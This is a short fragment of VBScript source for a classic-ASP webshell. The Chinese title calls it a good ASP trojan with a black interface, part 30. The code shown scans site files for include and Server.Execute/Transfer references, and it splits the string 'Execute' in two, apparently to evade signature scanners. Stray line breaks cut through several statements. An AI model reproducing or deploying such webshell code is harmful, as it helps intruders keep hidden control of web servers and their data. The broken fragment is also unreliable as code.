一款不错的asp木马 黑色界面(30)

        Set regEx = Nothing
        Set regEx = New RegExp
        regEx.IgnoreCase = True
        regEx.Global = True
        regEx.Pattern = "<!--
\s*#include\s*virtual\s*=\s*"".*"""
        Set Matches = regEx.Execute(filetxt)
        For Each Match in Matches
            tFile = Replace(Mid(Match.Value, Instr
(Match.Value, """") + 1, Len(Match.Value) - Instr(Match.Value, """") - 
1),"/","\")
            If Not CheckExt(FSO1s.GetExtensionName(tFile)) 
Then
                Call ScanFile( Server.MapPath("\")
&"\"&tFile, replace(FilePath,server.MapPath("\")&"\","",1,1,1) )
                SumFiles = SumFiles + 1
            End If
        Next
        Set Matches = Nothing
        Set regEx = Nothing
        Set regEx = New RegExp
        regEx.IgnoreCase = True
        regEx.Global = True
        regEx.Pattern = "Server.(Exec"&"ute|Transfer)([ \t]
*|\()"".*"""
        Set Matches = regEx.Execute(filetxt)
        For Each Match in Matches
            tFile = Replace(Mid(Match.Value, Instr
(Match.Value, """") + 1, Len(Match.Value) - Instr(Match.Value, """") - 
1),"/","\")
            If Not CheckExt(FSO1s.GetExtensionName(tFile)) 
Then
                Call ScanFile( Mid(FilePath,1,InStrRev
(FilePath,"\"))&tFile, replace(FilePath,server.MapPath("\")
&"\","",1,1,1) )
                SumFiles = SumFiles + 1